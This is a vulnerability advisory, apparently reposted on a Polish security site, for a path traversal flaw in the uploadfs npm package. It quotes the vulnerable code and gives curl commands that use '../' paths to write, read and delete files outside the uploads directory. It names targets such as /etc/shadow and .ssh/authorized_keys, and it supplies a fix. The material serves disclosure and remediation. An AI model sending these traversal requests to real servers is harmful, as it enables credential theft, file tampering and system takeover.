Niska

ApostropheCMS: Path traversal in uploadfs

  • Ujawniono: 20.10.2026
  • Aktualizacja: 22.10.2026 18:07

Summary

The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.


Details

Root Cause

packages/uploadfs/uploadfs.js:652-655

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/uploadfs.js#L652-L655

js
function prefixPath(path) {
    // Resolve any double // that results from the prefix
    return (self.prefix + path).replace(/\/\//g, '/');
}

packages/uploadfs/lib/storage/local.js

https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L92-L95 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L102-L104 https://github.com/apostrophecms/apostrophe/blob/main/packages/uploadfs/lib/storage/local.js#L106-L108

js
copyIn: function(localPath, path, options, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    return copyFile(localPath, uploadPath, callback);
},
streamOut: function(path, options) {
    return fs.createReadStream(uploadsPath + path);  // [VULNERABLE]
},
remove: function(path, callback) {
    const uploadPath = uploadsPath + path;  // [VULNERABLE]
    fs.unlink(uploadPath, callback);
  • prefixPath() does not normalize paths or reject ../.
  • The local backend concatenates the path directly into the filesystem call.
  • Node.js resolves /app/uploads/../../../tmp/pwned.txt → /tmp/pwned.txt.

Proof of Concept (PoC)

Here is the poc files https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk

Build and run

bash
docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py

Expected output

[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.
<img width="885" height="171" alt="Screenshot 2026-07-22 at 08 57 46" src="https://github.com/user-attachments/assets/1b3ab5d5-43e4-4a81-8d19-c2270da072ae" />

Manual reproduction

bash
# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
  -F "path=../../../tmp/backdoor.txt" \
  -F "file=@-;filename=backdoor.txt" <<< "malicious content"

# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"

# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"
<img width="1004" height="114" alt="Screenshot 2026-07-22 at 08 58 36" src="https://github.com/user-attachments/assets/26b59a98-1834-4f00-8e18-c869812ddd58" />

Impact

Capability Risk
Arbitrary File Write Write to /etc/cron.d/, .ssh/authorized_keys, or webroot files → Remote Code Execution
Arbitrary File Read Exfiltrate /etc/shadow, application configs, database credentials
Arbitrary File Delete Destroy system or application files → Denial of Service

Remediation

Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:

js
const path = require('path');
function safePath(base, target) {
  const resolved = path.resolve(base, target);
  if (!resolved.startsWith(path.resolve(base) + path.sep)) {
    throw new Error('Path traversal blocked: target is outside the intended directory');
  }
  return resolved;
}

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm uploadfs < 1.28.0 1.28.0

Odnośniki

Ocena CVSS 3.3/10
Wektor CVSS
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N
Słabość (CWE)
CWE-22
Platforma
npm
Paczka
uploadfs
Ujawniono
20.10.2026
Aktualizacja
22.10.2026 18:07

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-gmfx-5g6x-rr72 - CC BY 4.0

Historia podatności: uploadfs

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkich wpisów
2
Pierwsza → ostatnia
10.2026 10.2026
Bez poprawki
0
Wykorzystywana w atakach
0

Rozkład istotności

  • Średnia 1
  • Niska 1

Ujawnienia w latach

  1. 2026: 2
  1. ApostropheCMS: Path traversal in uploadfs ten wpis
    Niska · 3.3 CVE-2026-113651 < 1.28.0 1.28.0

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.